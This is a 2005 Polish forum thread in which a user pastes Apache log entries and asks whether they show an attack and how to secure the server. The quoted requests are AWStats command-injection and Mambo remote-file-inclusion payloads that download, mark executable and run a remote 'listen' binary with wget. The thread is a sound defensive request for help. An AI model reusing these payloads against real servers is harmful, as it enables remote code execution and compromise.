Dziwny Log - Forum PHP.pl

Forum PHP.pl > Forum > Serwery WWW > Apache

Dziwny Log, A może próba dostępu ?

XhtmlProject Zobacz profil	21.12.2005, 02:34:04 Post #1
Grupa: Zarejestrowani Postów: 40 Pomógł: 0 Dołączył: 11.11.2005 Skąd: RuskieJaKraina Ostrzeżenie: (0%)	Witajcie. Chciałem zapytać co oznaczają poniższe wpisy z log'a Apache'a: Cytat 217.174.252.237 - - [20/Dec/2005:21:55:55 +0100] "GET /awstats/awstats.pl?configdir=\|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo\| HTTP/1.1" 403 220 217.174.252.237 - - [20/Dec/2005:21:55:56 +0100] "GET /cgi-bin/awstats.pl?configdir=\|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo\| HTTP/1.1" 404 216 217.174.252.237 - - [20/Dec/2005:21:55:58 +0100] "GET /cgi-bin/awstats/awstats.pl?configdir=\|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo\| HTTP/1.1" 404 224 217.174.252.237 - - [20/Dec/2005:21:55:59 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo\| HTTP/1.1" 403 212 217.174.252.237 - - [20/Dec/2005:21:56:00 +0100] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo\| HTTP/1.1" 403 211 217.174.252.237 - - [20/Dec/2005:21:56:01 +0100] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo\| HTTP/1.1" 403 218 217.174.252.237 - - [20/Dec/2005:21:56:02 +0100] "GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo\| HTTP/1.1" 403 216 217.174.252.237 - - [20/Dec/2005:21:56:03 +0100] "GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo\| HTTP/1.1" 403 222 213.134.160.9 - - [20/Dec/2005:23:03:08 +0100] "GET / HTTP/1.0" 403 202 Jeśli była to próba dostępu chciałbym wiedzieć jak mogę się przed nią bronić. Mam zainstalowanego Apache 2.0.54 + PHP5 +MySQL4 na WinXP, przy czym w konfigu Apache'a zmieniłem dla bezpieczeństwa następujące dyrektywy: UseCanonicalName Off ServerSignature Off HostnameLookups Off ServerTokens Prod Dodatkowo wszędzie powyłączałem opcje AllowOverride aby działały pliki .htaccess Jeszcze jedno pytanie: Jak powinienem skonfigurować Apache'a abym spał spokojnie. -------------------- Flash

Posty w temacie

XhtmlProject Dziwny Log 21.12.2005, 02:34:04

Radarek Sa to proby wykorzystania luk w oprogramowaniu. Za... 26.12.2005, 19:43:20

XhtmlProject Cytat(Radarek @ 2005-12-26 19:43:20)Sa to pro... 26.12.2005, 21:57:23

Radarek Hm jesli dziura umozliwia takie dzialanie to mozli... 26.12.2005, 22:14:27

XhtmlProject Cytat(Radarek @ 2005-12-26 22:14:27)A tak prz... 28.12.2005, 01:09:41

« Następny starszy · Apache · Następny nowszy »

1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)

0 Zarejestrowanych:

Tryb wyświetlania: Przełącz na: Standardowy · Przełącz na: Linearny+ · Drzewo

Śledź ten temat · Wyślij temat na e-mail · Wydrukuj ten temat · Subskrybuj to forum

Aktualny czas: 22.08.2025 - 10:06

Hosting zapewnia